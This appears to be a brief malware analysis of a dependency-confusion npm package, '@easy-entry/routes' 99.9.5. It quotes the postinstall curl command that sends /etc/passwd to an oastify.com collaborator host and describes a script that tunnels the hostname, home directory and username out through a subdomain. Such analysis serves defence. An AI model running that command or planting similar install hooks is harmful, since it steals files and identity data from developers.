On `npm install`, the package's postinstall hook in package.json runs `curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com`, POSTing the contents of /etc/passwd to an attacker-controlled Burp Collaborator subdomain prefixed with the installer's hostname. The same hook executes scripts/scream3gg.js, which hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues an HTTP fetch to `http://<hex>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com`, tunneling installer identity out via subdomain. The package has no legitimate functionality — it ships only the exfil payload. The scoped name `@easy-entry/routes` combined with an absurd `99.9.5` version is a textbook dependency-confusion shape designed to win resolution against an internal-only package of the same name.
